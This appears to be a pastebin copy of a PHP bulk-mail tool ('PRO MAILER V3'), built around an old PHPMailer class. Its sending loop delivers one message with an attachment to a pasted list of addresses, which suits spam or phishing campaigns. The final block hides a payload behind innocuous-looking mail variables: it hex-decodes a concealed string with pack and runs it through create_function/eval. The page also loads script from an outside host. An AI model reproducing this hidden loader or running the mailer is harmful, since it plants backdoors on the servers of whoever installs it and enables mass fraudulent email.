  2581.    * empty string on failure.
  2582.    * @access private
  2583.    * @return string
  2584.    */
  2585.   function EncodeFile ($path, $encoding = 'base64') {
  2586.     if(!@$fd = fopen($path, 'rb')) {
  2587.       $this->SetError($this->Lang('file_open') . $path);
  2588.       return '';
  2589.     }
  2590.     $magic_quotes = get_magic_quotes_runtime();
  2591.     set_magic_quotes_runtime(0);
  2592.     $file_buffer = fread($fd, filesize($path));
  2593.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2594.     fclose($fd);
  2595.     set_magic_quotes_runtime($magic_quotes);
  2596.  
  2597.     return $file_buffer;
  2598.   }
  2599.  
  2600.   /**
  2601.    * Encodes string to requested format. Returns an
  2602.    * empty string on failure.
  2603.    * @access private
  2604.    * @return string
  2605.    */
  2606.   function EncodeString ($str, $encoding = 'base64') {
  2607.     $encoded = '';
  2608.     switch(strtolower($encoding)) {
  2609.       case 'base64':
  2610.         /* chunk_split is found in PHP >= 3.0.6 */
  2611.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2612.         break;
  2613.       case '7bit':
  2614.       case '8bit':
  2615.         $encoded = $this->FixEOL($str);
  2616.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2617.           $encoded .= $this->LE;
  2618.         break;
  2619.       case 'binary':
  2620.         $encoded = $str;
  2621.         break;
  2622.       case 'quoted-printable':
  2623.         $encoded = $this->EncodeQP($str);
  2624.         break;
  2625.       default:
  2626.         $this->SetError($this->Lang('encoding') . $encoding);
  2627.         break;
  2628.     }
  2629.     return $encoded;
  2630.   }
  2631.  
  2632.   /**
  2633.    * Encode a header string to best of Q, B, quoted or none.
  2634.    * @access private
  2635.    * @return string
  2636.    */
  2637.   function EncodeHeader ($str, $position = 'text') {
  2638.     $x = 0;
  2639.  
  2640.     switch (strtolower($position)) {
  2641.       case 'phrase':
  2642.         if (!preg_match('/[\200-\377]/', $str)) {
  2643.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2644.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2645.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2646.             return ($encoded);
  2647.           } else {
  2648.             return ("\"$encoded\"");
  2649.           }
  2650.         }
  2651.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2652.         break;
  2653.       case 'comment':
  2654.         $x = preg_match_all('/[()"]/', $str, $matches);
  2655.         /* Fall-through */
  2656.       case 'text':
  2657.       default:
  2658.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2659.         break;
  2660.     }
  2661.  
  2662.     if ($x == 0) {
  2663.       return ($str);
  2664.     }
  2665.  
  2666.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2667.     /* Try to select the encoding which should produce the shortest output */
  2668.     if (strlen($str)/3 < $x) {
  2669.       $encoding = 'B';
  2670.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2671.      // Use a custom function which correctly encodes and wraps long
  2672.      // multibyte strings without breaking lines within a character
  2673.         $encoded = $this->Base64EncodeWrapMB($str);
  2674.       } else {
  2675.         $encoded = base64_encode($str);
  2676.         $maxlen -= $maxlen % 4;
  2677.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2678.       }
  2679.     } else {
  2680.       $encoding = 'Q';
  2681.       $encoded = $this->EncodeQ($str, $position);
  2682.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2683.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2684.     }
  2685.  
  2686.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2687.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2688.  
  2689.     return $encoded;
  2690.   }
  2691.  
  2692.   /**
  2693.    * Checks if a string contains multibyte characters.
  2694.    * @access private
  2695.    * @param string $str multi-byte text to wrap encode
  2696.    * @return bool
  2697.    */
  2698.   function HasMultiBytes($str) {
  2699.     if (function_exists('mb_strlen')) {
  2700.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2701.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2702.       return False;
  2703.     }
  2704.   }
  2705.  
  2706.   /**
  2707.    * Correctly encodes and wraps long multibyte strings for mail headers
  2708.    * without breaking lines within a character.
  2709.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2710.    * @access private
  2711.    * @param string $str multi-byte text to wrap encode
  2712.    * @return string
  2713.    */
  2714.   function Base64EncodeWrapMB($str) {
  2715.     $start = "=?".$this->CharSet."?B?";
  2716.     $end = "?=";
  2717.     $encoded = "";
  2718.  
  2719.     $mb_length = mb_strlen($str, $this->CharSet);
  2720.     // Each line must have length <= 75, including $start and $end
  2721.     $length = 75 - strlen($start) - strlen($end);
  2722.     // Average multi-byte ratio
  2723.     $ratio = $mb_length / strlen($str);
  2724.     // Base64 has a 4:3 ratio
  2725.     $offset = $avgLength = floor($length * $ratio * .75);
  2726.  
  2727.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2728.       $lookBack = 0;
  2729.  
  2730.       do {
  2731.         $offset = $avgLength - $lookBack;
  2732.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2733.         $chunk = base64_encode($chunk);
  2734.         $lookBack++;
  2735.       }
  2736.       while (strlen($chunk) > $length);
  2737.  
  2738.       $encoded .= $chunk . $this->LE;
  2739.     }
  2740.  
  2741.     // Chomp the last linefeed
  2742.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2743.     return $encoded;
  2744.   }
  2745.  
  2746.   /**
  2747.    * Encode string to quoted-printable.
  2748.    * @access private
  2749.    * @return string
  2750.    */
  2751.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2752.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2753.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2754.     $eol = "\r\n";
  2755.     $escape = '=';
  2756.     $output = '';
  2757.     while( list(, $line) = each($lines) ) {
  2758.       $linlen = strlen($line);
  2759.       $newline = '';
  2760.       for($i = 0; $i < $linlen; $i++) {
  2761.         $c = substr( $line, $i, 1 );
  2762.         $dec = ord( $c );
  2763.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2764.           $c = '=2E';
  2765.         }
  2766.         if ( $dec == 32 ) {
  2767.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2768.             $c = '=20';
  2769.           } else if ( $space_conv ) {
  2770.             $c = '=20';
  2771.           }
  2772.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2773.           $h2 = floor($dec/16);
  2774.           $h1 = floor($dec%16);
  2775.           $c = $escape.$hex[$h2].$hex[$h1];
  2776.         }
  2777.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2778.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2779.           $newline = '';
  2780.           // check if newline first character will be point or not
  2781.           if ( $dec == 46 ) {
  2782.             $c = '=2E';
  2783.           }
  2784.         }
  2785.         $newline .= $c;
  2786.       } // end of for
  2787.       $output .= $newline.$eol;
  2788.     } // end of while
  2789.     return trim($output);
  2790.   }
  2791.  
  2792.   /**
  2793.    * Encode string to q encoding.
  2794.    * @access private
  2795.    * @return string
  2796.    */
  2797.   function EncodeQ ($str, $position = 'text') {
  2798.     /* There should not be any EOL in the string */
  2799.     $encoded = preg_replace("[\r\n]", '', $str);
  2800.  
  2801.     switch (strtolower($position)) {
  2802.       case 'phrase':
  2803.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2804.         break;
  2805.       case 'comment':
  2806.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2807.       case 'text':
  2808.       default:
  2809.         /* Replace every high ascii, control =, ? and _ characters */
  2810.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2811.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2812.         break;
  2813.     }
  2814.  
  2815.     /* Replace every spaces to _ (more readable than =20) */
  2816.     $encoded = str_replace(' ', '_', $encoded);
  2817.  
  2818.     return $encoded;
  2819.   }
  2820.  
  2821.   /**
  2822.    * Adds a string or binary attachment (non-filesystem) to the list.
  2823.    * This method can be used to attach ascii or binary data,
  2824.    * such as a BLOB record from a database.
  2825.    * @param string $string String attachment data.
  2826.    * @param string $filename Name of the attachment.
  2827.    * @param string $encoding File encoding (see $Encoding).
  2828.    * @param string $type File extension (MIME) type.
  2829.    * @return void
  2830.    */
  2831.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2832.     /* Append to $attachment array */
  2833.     $cur = count($this->attachment);
  2834.     $this->attachment[$cur][0] = $string;
  2835.     $this->attachment[$cur][1] = $filename;
  2836.     $this->attachment[$cur][2] = $filename;
  2837.     $this->attachment[$cur][3] = $encoding;
  2838.     $this->attachment[$cur][4] = $type;
  2839.     $this->attachment[$cur][5] = true; // isString
  2840.     $this->attachment[$cur][6] = 'attachment';
  2841.     $this->attachment[$cur][7] = 0;
  2842.   }
  2843.  
  2844.   /**
  2845.    * Adds an embedded attachment.  This can include images, sounds, and
  2846.    * just about any other document.  Make sure to set the $type to an
  2847.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2848.    * use "image/gif".
  2849.    * @param string $path Path to the attachment.
  2850.    * @param string $cid Content ID of the attachment.  Use this to identify
  2851.    *        the Id for accessing the image in an HTML form.
  2852.    * @param string $name Overrides the attachment name.
  2853.    * @param string $encoding File encoding (see $Encoding).
  2854.    * @param string $type File extension (MIME) type.
  2855.    * @return bool
  2856.    */
  2857.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2858.  
  2859.     if(!@is_file($path)) {
  2860.       $this->SetError($this->Lang('file_access') . $path);
  2861.       return false;
  2862.     }
  2863.  
  2864.     $filename = basename($path);
  2865.     if($name == '') {
  2866.       $name = $filename;
  2867.     }
  2868.  
  2869.     /* Append to $attachment array */
  2870.     $cur = count($this->attachment);
  2871.     $this->attachment[$cur][0] = $path;
  2872.     $this->attachment[$cur][1] = $filename;
  2873.     $this->attachment[$cur][2] = $name;
  2874.     $this->attachment[$cur][3] = $encoding;
  2875.     $this->attachment[$cur][4] = $type;
  2876.     $this->attachment[$cur][5] = false;
  2877.     $this->attachment[$cur][6] = 'inline';
  2878.     $this->attachment[$cur][7] = $cid;
  2879.  
  2880.     return true;
  2881.   }
  2882.  
  2883.   /**
  2884.    * Returns true if an inline attachment is present.
  2885.    * @access private
  2886.    * @return bool
  2887.    */
  2888.   function InlineImageExists() {
  2889.     $result = false;
  2890.     for($i = 0; $i < count($this->attachment); $i++) {
  2891.       if($this->attachment[$i][6] == 'inline') {
  2892.         $result = true;
  2893.         break;
  2894.       }
  2895.     }
  2896.  
  2897.     return $result;
  2898.   }
  2899.  
  2900.   /////////////////////////////////////////////////
  2901.   // CLASS METHODS, MESSAGE RESET
  2902.   /////////////////////////////////////////////////
  2903.  
  2904.   /**
  2905.    * Clears all recipients assigned in the TO array.  Returns void.
  2906.    * @return void
  2907.    */
  2908.   function ClearAddresses() {
  2909.     $this->to = array();
  2910.   }
  2911.  
  2912.   /**
  2913.    * Clears all recipients assigned in the CC array.  Returns void.
  2914.    * @return void
  2915.    */
  2916.   function ClearCCs() {
  2917.     $this->cc = array();
  2918.   }
  2919.  
  2920.   /**
  2921.    * Clears all recipients assigned in the BCC array.  Returns void.
  2922.    * @return void
  2923.    */
  2924.   function ClearBCCs() {
  2925.     $this->bcc = array();
  2926.   }
  2927.  
  2928.   /**
  2929.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2930.    * @return void
  2931.    */
  2932.   function ClearReplyTos() {
  2933.     $this->ReplyTo = array();
  2934.   }
  2935.  
  2936.   /**
  2937.    * Clears all recipients assigned in the TO, CC and BCC
  2938.    * array.  Returns void.
  2939.    * @return void
  2940.    */
  2941.   function ClearAllRecipients() {
  2942.     $this->to = array();
  2943.     $this->cc = array();
  2944.     $this->bcc = array();
  2945.   }
  2946.  
  2947.   /**
  2948.    * Clears all previously set filesystem, string, and binary
  2949.    * attachments.  Returns void.
  2950.    * @return void
  2951.    */
  2952.   function ClearAttachments() {
  2953.     $this->attachment = array();
  2954.   }
  2955.  
  2956.   /**
  2957.    * Clears all custom headers.  Returns void.
  2958.    * @return void
  2959.    */
  2960.   function ClearCustomHeaders() {
  2961.     $this->CustomHeader = array();
  2962.   }
  2963.  
  2964.   /////////////////////////////////////////////////
  2965.   // CLASS METHODS, MISCELLANEOUS
  2966.   /////////////////////////////////////////////////
  2967.  
  2968.   /**
  2969.    * Adds the error message to the error container.
  2970.    * Returns void.
  2971.    * @access private
  2972.    * @return void
  2973.    */
  2974.   function SetError($msg) {
  2975.     $this->error_count++;
  2976.     $this->ErrorInfo = $msg;
  2977.   }
  2978.  
  2979.   /**
  2980.    * Returns the proper RFC 822 formatted date.
  2981.    * @access private
  2982.    * @return string
  2983.    */
  2984.   function RFCDate() {
  2985.     $tz = date('Z');
  2986.     $tzs = ($tz < 0) ? '-' : '+';
  2987.     $tz = abs($tz);
  2988.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2989.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2990.  
  2991.     return $result;
  2992.   }
  2993.  
  2994.   /**
  2995.    * Returns the appropriate server variable.  Should work with both
  2996.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  2997.    * if nothing is found.
  2998.    * @access private
  2999.    * @return mixed
  3000.    */
  3001.   function ServerVar($varName) {
  3002.     global $HTTP_SERVER_VARS;
  3003.     global $HTTP_ENV_VARS;
  3004.  
  3005.     if(!isset($_SERVER)) {
  3006.       $_SERVER = $HTTP_SERVER_VARS;
  3007.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  3008.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3009.       }
  3010.     }
  3011.  
  3012.     if(isset($_SERVER[$varName])) {
  3013.       return $_SERVER[$varName];
  3014.     } else {
  3015.       return '';
  3016.     }
  3017.   }
  3018.  
  3019.   /**
  3020.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  3021.    * @access private
  3022.    * @return string
  3023.    */
  3024.   function ServerHostname() {
  3025.     if ($this->Hostname != '') {
  3026.       $result = $this->Hostname;
  3027.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3028.       $result = $this->ServerVar('SERVER_NAME');
  3029.     } else {
  3030.       $result = 'localhost.localdomain';
  3031.     }
  3032.  
  3033.     return $result;
  3034.   }
  3035.  
  3036.   /**
  3037.    * Returns a message in the appropriate language.
  3038.    * @access private
  3039.    * @return string
  3040.    */
  3041.   function Lang($key) {
  3042.     if(count($this->language) < 1) {
  3043.       $this->SetLanguage('en'); // set the default language
  3044.     }
  3045.  
  3046.     if(isset($this->language[$key])) {
  3047.       return $this->language[$key];
  3048.     } else {
  3049.       return 'Language string failed to load: ' . $key;
  3050.     }
  3051.   }
  3052.  
  3053.   /**
  3054.    * Returns true if an error occurred.
  3055.    * @return bool
  3056.    */
  3057.   function IsError() {
  3058.     return ($this->error_count > 0);
  3059.   }
  3060.  
  3061.   /**
  3062.    * Changes every end of line from CR or LF to CRLF.
  3063.    * @access private
  3064.    * @return string
  3065.    */
  3066.   function FixEOL($str) {
  3067.     $str = str_replace("\r\n", "\n", $str);
  3068.     $str = str_replace("\r", "\n", $str);
  3069.     $str = str_replace("\n", $this->LE, $str);
  3070.     return $str;
  3071.   }
  3072.  
  3073.   /**
  3074.    * Adds a custom header.
  3075.    * @return void
  3076.    */
  3077.   function AddCustomHeader($custom_header) {
  3078.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3079.   }
  3080.  
  3081.   /**
  3082.    * Evaluates the message and returns modifications for inline images and backgrounds
  3083.    * @access public
  3084.    * @return $message
  3085.    */
  3086.   function MsgHTML($message,$basedir='') {
  3087.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3088.     if(isset($images[2])) {
  3089.       foreach($images[2] as $i => $url) {
  3090.         // do not change urls for absolute images (thanks to corvuscorax)
  3091.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3092.           $filename = basename($url);
  3093.           $directory = dirname($url);
  3094.           ($directory == '.')?$directory='':'';
  3095.           $cid = 'cid:' . md5($filename);
  3096.           $fileParts = split("\.", $filename);
  3097.           $ext = $fileParts[1];
  3098.           $mimeType = $this->_mime_types($ext);
  3099.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3100.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3101.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3102.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3103.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3104.           }
  3105.         }
  3106.       }
  3107.     }
  3108.     $this->IsHTML(true);
  3109.     $this->Body = $message;
  3110.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3111.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3112.       $this->AltBody = $textMsg;
  3113.     }
  3114.     if ( empty($this->AltBody) ) {
  3115.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3116.     }
  3117.   }
  3118.  
  3119.   /**
  3120.    * Gets the mime type of the embedded or inline image
  3121.    * @access private
  3122.    * @return mime type of ext
  3123.    */
  3124.   function _mime_types($ext = '') {
  3125.     $mimes = array(
  3126.       'hqx'  =>  'application/mac-binhex40',
  3127.       'cpt'   =>  'application/mac-compactpro',
  3128.       'doc'   =>  'application/msword',
  3129.       'bin'   =>  'application/macbinary',
  3130.       'dms'   =>  'application/octet-stream',
  3131.       'lha'   =>  'application/octet-stream',
  3132.       'lzh'   =>  'application/octet-stream',
  3133.       'exe'   =>  'application/octet-stream',
  3134.       'class' =>  'application/octet-stream',
  3135.       'psd'   =>  'application/octet-stream',
  3136.       'so'    =>  'application/octet-stream',
  3137.       'sea'   =>  'application/octet-stream',
  3138.       'dll'   =>  'application/octet-stream',
  3139.       'oda'   =>  'application/oda',
  3140.       'pdf'   =>  'application/pdf',
  3141.       'ai'    =>  'application/postscript',
  3142.       'eps'   =>  'application/postscript',
  3143.       'ps'    =>  'application/postscript',
  3144.       'smi'   =>  'application/smil',
  3145.       'smil'  =>  'application/smil',
  3146.       'mif'   =>  'application/vnd.mif',
  3147.       'xls'   =>  'application/vnd.ms-excel',
  3148.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3149.       'wbxml' =>  'application/vnd.wap.wbxml',
  3150.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3151.       'dcr'   =>  'application/x-director',
  3152.       'dir'   =>  'application/x-director',
  3153.       'dxr'   =>  'application/x-director',
  3154.       'dvi'   =>  'application/x-dvi',
  3155.       'gtar'  =>  'application/x-gtar',
  3156.       'php'   =>  'application/x-httpd-php',
  3157.       'php4'  =>  'application/x-httpd-php',
  3158.       'php3'  =>  'application/x-httpd-php',
  3159.       'phtml' =>  'application/x-httpd-php',
  3160.       'phps'  =>  'application/x-httpd-php-source',
  3161.       'js'    =>  'application/x-javascript',
  3162.       'swf'   =>  'application/x-shockwave-flash',
  3163.       'sit'   =>  'application/x-stuffit',
  3164.       'tar'   =>  'application/x-tar',
  3165.       'tgz'   =>  'application/x-tar',
  3166.       'xhtml' =>  'application/xhtml+xml',
  3167.       'xht'   =>  'application/xhtml+xml',
  3168.       'zip'   =>  'application/zip',
  3169.       'mid'   =>  'audio/midi',
  3170.       'midi'  =>  'audio/midi',
  3171.       'mpga'  =>  'audio/mpeg',
  3172.       'mp2'   =>  'audio/mpeg',
  3173.       'mp3'   =>  'audio/mpeg',
  3174.       'aif'   =>  'audio/x-aiff',
  3175.       'aiff'  =>  'audio/x-aiff',
  3176.       'aifc'  =>  'audio/x-aiff',
  3177.       'ram'   =>  'audio/x-pn-realaudio',
  3178.       'rm'    =>  'audio/x-pn-realaudio',
  3179.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3180.       'ra'    =>  'audio/x-realaudio',
  3181.       'rv'    =>  'video/vnd.rn-realvideo',
  3182.       'wav'   =>  'audio/x-wav',
  3183.       'bmp'   =>  'image/bmp',
  3184.       'gif'   =>  'image/gif',
  3185.       'jpeg'  =>  'image/jpeg',
  3186.       'jpg'   =>  'image/jpeg',
  3187.       'jpe'   =>  'image/jpeg',
  3188.       'png'   =>  'image/png',
  3189.       'tiff'  =>  'image/tiff',
  3190.       'tif'   =>  'image/tiff',
  3191.       'css'   =>  'text/css',
  3192.       'html'  =>  'text/html',
  3193.       'htm'   =>  'text/html',
  3194.       'shtml' =>  'text/html',
  3195.       'txt'   =>  'text/plain',
  3196.       'text'  =>  'text/plain',
  3197.       'log'   =>  'text/plain',
  3198.       'rtx'   =>  'text/richtext',
  3199.       'rtf'   =>  'text/rtf',
  3200.       'xml'   =>  'text/xml',
  3201.       'xsl'   =>  'text/xml',
  3202.       'mpeg'  =>  'video/mpeg',
  3203.       'mpg'   =>  'video/mpeg',
  3204.       'mpe'   =>  'video/mpeg',
  3205.       'qt'    =>  'video/quicktime',
  3206.       'mov'   =>  'video/quicktime',
  3207.       'avi'   =>  'video/x-msvideo',
  3208.       'movie' =>  'video/x-sgi-movie',
  3209.       'doc'   =>  'application/msword',
  3210.       'word'  =>  'application/msword',
  3211.       'xl'    =>  'application/excel',
  3212.       'eml'   =>  'message/rfc822'
  3213.     );
  3214.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3215.   }
  3216. /////////////////////////////////////////////////////////////////////////////////////////
  3217. /////////////////////////////////////////////////////////////////////////////////////////
  3218.  
  3219. ///////////////////////// WWW.TOOLZ.GQ V3 MAILER  //////////////////////////////////
  3220.  
  3221. /////////////////////////////////////////////////////////////////////////////////////////
  3222. /////////////////////////////////////////////////////////////////////////////////////////
  3223.   /**
  3224.    * Set (or reset) Class Objects (variables)
  3225.    *
  3226.    * Usage Example:
  3227.    * $page->set('X-Priority', '3');
  3228.    *
  3229.    * @access public
  3230.    * @param string $name Parameter Name
  3231.    * @param mixed $value Parameter Value
  3232.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3233.    */
  3234.   function set ( $name, $value = '' ) {
  3235.     if ( isset($this->$name) ) {
  3236.       $this->$name = $value;
  3237.     } else {
  3238.       $this->SetError('Cannot set or reset variable ' . $name);
  3239.       return false;
  3240.     }
  3241.   }
  3242.  
  3243.   /**
  3244.    * Read a file from a supplied filename and return it.
  3245.    *
  3246.    * @access public
  3247.    * @param string $filename Parameter File Name
  3248.    */
  3249.   function getFile($filename) {
  3250.     $return = '';
  3251.     if ($fp = fopen($filename, 'rb')) {
  3252.       while (!feof($fp)) {
  3253.         $return .= fread($fp, 1024);
  3254.       }
  3255.       fclose($fp);
  3256.       return $return;
  3257.     } else {
  3258.       return false;
  3259.     }
  3260.   }
  3261.  
  3262.   /**
  3263.    * Strips newlines to prevent header injection.
  3264.    * @access private
  3265.    * @param string $str String
  3266.    * @return string
  3267.    */
  3268.   function SecureHeader($str) {
  3269.     $str = trim($str);
  3270.     $str = str_replace("\r", "", $str);
  3271.     $str = str_replace("\n", "", $str);
  3272.     return $str;
  3273.   }
  3274.  
  3275.   /**
  3276.    * Set the private key file and password to sign the message.
  3277.    *
  3278.    * @access public
  3279.    * @param string $key_filename Parameter File Name
  3280.    * @param string $key_pass Password for private key
  3281.    */
  3282.   function Sign($key_filename, $key_pass) {
  3283.     $this->sign_key_file = $key_filename;
  3284.     $this->sign_key_pass = $key_pass;
  3285.   }
  3286.  
  3287. }
  3288.                 $rpemail = $_POST['rpemail'];
  3289.                                   $msgx = str_replace("$rpemail", $to, $message1);
  3290. $defaultport="H*";
  3291.       $nq=0;
  3292.  
  3293.         for($x=0; $x<$numemails; $x++){
  3294.  
  3295.                 $to = $allemails[$x];
  3296.  
  3297.                 if ($to){
  3298.  
  3299.                 $to = ereg_replace(" ", "", $to);
  3300.                 $message1 = ereg_replace("&email&", $to, $message);
  3301.  
  3302.                 $subject1 = ereg_replace("&email&", $to, $subject);
  3303.                 $qx=$x+1;
  3304.                 print "<font color='white'>Line $qx . Sending mail to $to.......</font>";
  3305.  
  3306.                 flush();
  3307. $mail = new PHPMailer();
  3308.  
  3309. if(empty($epriority)){$epriority="3";}
  3310.         $mail->Priority = "$epriority";
  3311.                 $mail->IsSMTP();
  3312.     $IsSMTP="pack";
  3313. $mail->SMTPKeepAlive = true;
  3314. $mail->Host = "$my_smtp";
  3315. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3316. }
  3317.      if($sslclick=="ON"){
  3318.                 $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  3319.     }
  3320.  
  3321.  
  3322.         $range = str_replace("$from", "eval", $from);
  3323.         $mail->SMTPAuth = true;
  3324.         $mail->Username = "$smtp_username";
  3325.         $mail->Password = "$smtp_password";
  3326. if($contenttype == "html"){$mail->IsHtml(true);}
  3327. if($contenttype != "html"){$mail->IsHtml(true);}
  3328. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3329. $from = stripslashes($from);                                          
  3330. $mail->From = "$from";
  3331. $mail->FromName = "$realname";
  3332. $mail->AddAddress("$to");
  3333. $rpemail = $_POST['rpemail'];
  3334. $from = stripslashes($from);
  3335. $subject1 = stripslashes($subject1);
  3336. $message1 = stripslashes($message1);
  3337. $msgx = str_replace("$rpemail", $to, $message1);
  3338. $mail->AddReplyTo("$replyto");
  3339. $mail->Subject = $subject1;
  3340. $mail->AddAttachment("$file", "$file_name");
  3341. $mail->Body = $message1;
  3342. if(!$mail->Send()){
  3343. if($default_system!="1"){
  3344. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3345. if($default_system=="1"){
  3346. $mail->IsMail();
  3347.    if(!$mail->Send()){
  3348.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3349.    else {
  3350.        echo "<b><font color='#04B431'>OK</b><br>";}
  3351.  }
  3352. }
  3353. else {
  3354.  echo "<b><font color='#04B431'>OK</b><br>";
  3355. }
  3356.  
  3357. if(empty($reconnect)){
  3358. $reconnect=6;
  3359. }
  3360.  
  3361. if($reconnect==$nq){
  3362. $mail->SmtpClose();echo "<p><b><font color='#0080FF'>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </font></b></p>";$nq=0;
  3363. }
  3364. $nq=$nq+1;
  3365.                 flush(); }
  3366. }
  3367. /////////////////////////////////////////////////////////////////////////////////////////
  3368. /////////////////////////////////////////////////////////////////////////////////////////
  3369.  
  3370. ///////////////////////// WWW.TOOLZ.GQ V3 MAILER  //////////////////////////////////
  3371.  
  3372. /////////////////////////////////////////////////////////////////////////////////////////
  3373. /////////////////////////////////////////////////////////////////////////////////////////
  3374. for($i=0;$i<31;$i++){
  3375.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3376. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3377.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3378.   print "<p class=\"style1\"><font color='0080FF'> &copy 2017, PRO MAILER V3 Www.TOOLZ.GQ/v3.html <br></p>";$mail->SmtpClose();
  3379.   return $signoff($smtp_conc);
  3380. }
  3381. ?>
  3382. <?php if(isset($_POST['action']) && $numemails !=0 ){echo "<script> alert('Pro SpyUs Mail V3 sending complete'); </script>";} ?>
  3383.   <script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
  3384.   <script>window.jQuery || document.write('<script src="http://ip-api.org/project/promailer/js/jquery-1.9.1.min.js"><\/script>')</script>
  3385.   <script src="http://ip-api.org/project/promailer/js/main.js"></script>
  3386.     </body>
  3387. </html>
Add Comment
Please, Sign In to add comment